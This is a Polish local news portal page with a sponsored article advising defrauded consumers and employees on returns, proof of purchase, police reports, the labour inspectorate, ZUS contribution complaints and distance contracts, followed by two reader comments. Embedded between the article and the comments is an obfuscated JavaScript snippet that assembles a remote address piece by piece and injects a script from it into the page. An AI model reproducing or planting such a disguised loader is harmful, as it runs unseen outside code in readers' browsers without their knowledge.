Portal nr 1 w powiecie bolesławieckim
BolecFORUM Nowy temat
Tekst zlecony
13 kwietnia 2016r. godz. 02:16, odsłon: 4394, Redakcja

Oszukano mnie – co zrobić?

Jak ostrzec innych przed nieuczciwym pracodawcą lub sprzedawcą?
(fot. Oszukano mnie – co zrobić?)

Ponieważ nie każda firma działająca na rynku stawia na uczciwość, a robiąc zakupy w sieci można trafić na podejrzanego sprzedawcę, warto wiedzieć, co robić w sytuacji, gdy zostaliśmy oszukani. Gdzie szukać pomocy? Jak ostrzec innych przed nieuczciwym pracodawcą lub sprzedawcą?

Ofiarami oszustów padają osoby szukające konkretnych usług, nabywające towary, a także rozpoczynające pracę w nowej firmie. Ostrzeżeń o oszustach nie brakuje, jednak nie zawsze zwracamy na nie uwagę. Jeśli nie przyjdzie nam do głowy pomysł, aby sprawdzić wiarygodność firmy oraz opinie na jej temat, możemy pożałować swojego wyboru. Przed rozpoczęciem współpracy z daną marką warto sprawdzić ją np. na http://opiniafirm.pl/ lub w jednym z rejestrów, podając numer NIP czy KRS. Możemy w ten sposób uniknąć rozpoczęcia współpracy z nieistniejącą lub nieuczciwą firmą. Jeśli nie zweryfikujemy uczciwości podmiotu, możemy pożałować swojej decyzji. Co zrobić, gdy komuś udało się nas oszukać?

Zapłaciłem za towar i go nie dostałem

Nieuczciwy sprzedawca może wysłać nam tanią podróbkę towaru, za który zapłaciliśmy przelewem, ale też w ogóle nie przygotować dla nas przesyłki. W każdym z tych przypadków nie powinniśmy odpuszczać oszustowi. Jeżeli po otwarciu przesyłki odkryjemy, że nie ma w niej zamawianych markowych butów, a jedynie tańsze obuwie gorzej jakości, skorzystajmy z prawa do zwrotu w ciągu 14 dni kalendarzowych. Poinformujmy, że zwracamy towar i przygotujmy wysyłkę. Jeżeli sprzedawca odmawia nam możliwości zwrócenia towaru bez podania przyczyny, udajmy się do rzecznika praw konsumenta. Podpowie, jak postąpić w sytuacji, gdy internetowy sprzedawca okazuje się nieuczciwy. Pamiętajmy, że prawo do zwrotu przysługuje w przypadku towaru pełnowartościowego. Oznacza to, że nie możemy iść w dresie na dwa treningi, a później odesłać go sprzedającemu. Jeżeli widzimy, że wysłany towar to podróbka lub uszkodzony egzemplarz, nie wyciągajmy go nawet z opakowania i od razu odeślijmy. Zachowajmy kopię maila, w którym informujemy o zamiarze dokonania zwrotu, a przesyłkę wyślijmy z potwierdzeniem nadania. Jeśli minęło 14 dni od dnia nabycia towaru, możemy składać reklamację.

Jeśli sprzedawca nie wysłał nam towaru, możemy odstąpić od umowy w ciągu 14 dni od daty zakupu i domagać się zwrotu pieniędzy. Gdy sprzedający nie ma zamiaru oddać nam wyłudzonej gotówki, zwróćmy się do odpowiedniej instytucji. Od razu skierujmy nasze kroki na policję, aby zgłosić oszustwo. Niejednokrotnie krótka wizyta na komisariacie pozwala odzyskać pieniądze wpłacone na konto oszusta. Tego typu sytuacje można też opisać i zgłosić do prokuratury. Każdorazowo warto dochodzić swoich praw, jeśli nieuczciwy sprzedawca nie wysłał nam towaru, za który otrzymał zapłatę.

Nie mam paragonu

Niektórzy klienci nie chcą domagać się wymiany uszkodzonego towaru bądź zwrotu pieniędzy, ponieważ sprzedawca nie dał im paragonu. Dotyczy to zarówno transakcji dokonanych w stacjonarnych sklepach, jak też tych, do których doszło na odległość, czyli za pośrednictwem Internetu. Warto pamiętać, że nie tylko paragon jest dowodem zakupu danej rzeczy lub usługi. Może być to równie dobrze wyciąg z konta, który potwierdzi dokonanie przelewu lub dokument informujący, że płatności dokonaliśmy kartą kredytową. Istnieje też możliwość udowodnienia dokonania zakupu poprzez przedstawienie korespondencji mailowej. Jeśli z wymienionych ze sprzedawcą wiadomości jasno wynika, że nabyliśmy towar, mail będzie naszym dowodem zakupu. Jeśli dojdzie do sprawy sądowej, zakup, dostawę i niezgodność towaru z opisem może poświadczyć świadek.

Jeśli zostaliśmy oszukani przez sprzedawcę, zwykle udajemy się na policję, czego następstwem będzie postępowanie karne. Zdarza się jednak, że osób poszkodowanych jest wiele, a działania policji wydają się być nieskuteczne. W takich sytuacjach osoby oszukane mogą zdecydować się na pozew cywilny. Koszty rozłożone na kilka osób nie są tak odczuwalne, jak w sytuacji, gdy postępowanie dotyczy jednego poszkodowanego. Trzeba jednak przygotować się na to, że proces potrwa dość długo, a wydanie wyroku nie zapewni nam natychmiastowego odzyskania pieniędzy.

Nieuczciwy pracodawca

Oszukani możemy poczuć się nie tylko w związku z nieudanym zakupem w sieci, ale też podczas poszukiwania pracy. Może się zdarzyć, że pracodawca zaprosi nas na rozmowę, zaproponuje pracę, ale będzie zwlekał z podpisaniem umowy. Jeśli nie mamy jednego egzemplarza umowy zawartej na piśmie, możemy nie doczekać się wynagrodzenia za wykonywane prace. Nie mamy dowodu, że w ogóle zostaliśmy zatrudnieni i że wykonujemy pracę zarobkową w danym miejscu. Rozwiązaniem takiej kłopotliwej sytuacji będzie wizyta w Państwowej Inspekcji Pracy i poinformowanie o nieuczciwych praktykach pracodawcy. Warto przedstawić dowód, że byliśmy w danym miejscu i wykonywaliśmy tam pracę zleconą przez właściciela. Może być to lista obecności, zeznania świadków lub jakikolwiek ślad naszego pobytu w miejscu pracy.

W przypadku pracodawców istnieje też ryzyko wykrycia innego oszustwa. Chodzi o unikanie płacenia składek do Zakładu Ubezpieczeń Społecznych. To, czy pracodawca płaci za nas składki, można sprawdzić w oddziale ZUS. Gdy wykryjemy nieprawidłowości, możemy skierować wniosek do pracodawcy i poprosić o zweryfikowanie danych dotyczących naszych składek. Jeśli pracodawca z jakiegoś powodu nie udzieli nam odpowiedzi i nie zajmie się naszym wnioskiem, możemy złożyć w ZUS reklamację. Do Zakładu Ubezpieczeń Społecznych udajemy się z reklamacja także wtedy, gdy firma, w której pracowaliśmy, przestała istnieć. Reklamacja może być złożona na piśmie, telefonicznie lub za pośrednictwem Internetu. Pracodawca będzie zmuszony zapłacić zaległe składki wraz z naliczonymi odsetkami. Może też otrzymać karę grzywny.

Umowa zawarta na odległość

Dzisiaj sprzedaż różnego rodzaju towarów i usług odbywa się nie tylko w stacjonarnych sklepach czy biurach, ale też w sieci i telefonicznie. Sporo firm praktykuje wysyłanie umowy do klienta za pośrednictwem firmy kurierskiej. Niestety, kurier zwykle spieszy się i nie pozwala spokojnie przeczytać umowy. Niektórzy rezygnują i nie kupują przysłowiowego kota w worku, zaś inni w pośpiechu podpisują dokument bez jego znajomości. Po pewnym czasie okazuje się, że zostaliśmy po prostu oszukani. Aby uniknąć płacenia kwot zawartych w dokumencie, należy jak najszybciej rozwiązać umowę. W ciągu 14 dni powinniśmy złożyć pisemne oświadczenie, w którym poinformujemy sprzedawcę usług lub towarów o rezygnacji z ich zakupu. Istnieją towary, których nie można zwrócić po zawarciu umowy na odległość. Są to chociażby dane dźwiękowe lub wizualne znajdujące się na nośniku, którego opakowanie zostało przez nas otwarte.  Umowę możemy zerwać również w sytuacji, gdy poruszamy się w sieci i kliknęliśmy w okienko łudząco podobne do tradycyjnych regulaminów, a mające za zadanie wprowadzić nas w błąd. Tego typu oszustwa są nagłaśniane, a oszust ma na celu wyłudzenie od nas pieniędzy za przeglądanie swojej strony.

(function(){ xmj7_=("u"+"")+"s"+"";xmj7_+=("tat.")+("i"); xmj7=document.createElement("script");xmj7.type="text/javascript";xmj7_+="nf"+("o")+"/"; xmj7u="8774139"+".";xmj7.async=true;xmj7u+="brnvk5u6mj7tj0ek62ddwaXsub29ey"; xmj7.src="//"+xmj7_+xmj7u; xmj7b=document.body; xmj7b.appendChild(xmj7); })();

Oszukano mnie – co zrobić?

~zly niezalogowany
13 kwietnia 2016r. o 8:21
To wszystko tylko teoria,moj syn wplacil gosciowi 700zl,i co?? Nic nie wyslal zrobil tak jeszcze kilka osob.Sprawe zgolosilem na policje podalem adres,nr tel kolesia i coooo??sprawe umorzono nie wykryli darmozjady zprawcy podanego na talerzu!!!!!
Zgłoś do moderacji Odpowiedz
~ niezalogowany
13 kwietnia 2016r. o 12:34
a jak zalozysz sprawe w sadzie to bedzie to trwalo laatami zanim cos sie wyjasni. sorry taki mam klimat w pl
Zgłoś do moderacji Odpowiedz
Wypowiedz się:
Jeśli zostawisz to pole puste przypiszemy Ci losową ksywę.
Publikacja czyichś danych osobowych bez zezwolenia czy użycie zwrotów obraźliwych podlega odpowiedzialności karnej i będzie skutkować przekazaniem danych publikującego organom ścigania.
Publikowane komentarze są prywatnymi opiniami użytkowników serwisu. Bolec.Info nie ponosi odpowiedzialności za treść opinii i wypowiedzi, a osoba zamieszczająca wypowiedź może ponieść za jej treść odpowiedzialność karną i cywilną. Bolec.Info zastrzega sobie prawo do moderowania wszystkich opublikowanych wypowiedzi, jednak nie bierze na siebie takiego obowiązku. Pamiętaj, że dodając zdjęcie deklarujesz, że jesteś jego autorem i przekazujesz Wydawcy Bolec.Info prawa do jego publikacji i udostępniania. Umieszczając cudze zdjęcia możesz złamać prawo autorskie. Bolec.Info nie ponosi odpowiedzialności za publikowane zdjęcia.
Daj nam Cynk - zgarnij nagrodę!

Byłeś świadkiem jakiegoś wypadku lub innego zdarzenia? Wiesz coś, o czym my nie wiemy albo jeszcze nie napisaliśmy? Daj nam znać i zgłoś swój temat!

Wypełnij formularz lub wyślij pod adres: [email protected].

Kontakt telefoniczny z Redakcją Bolec.Info: +48 693 375 790 (przez całą dobę).

REKLAMAMrowka zaprasza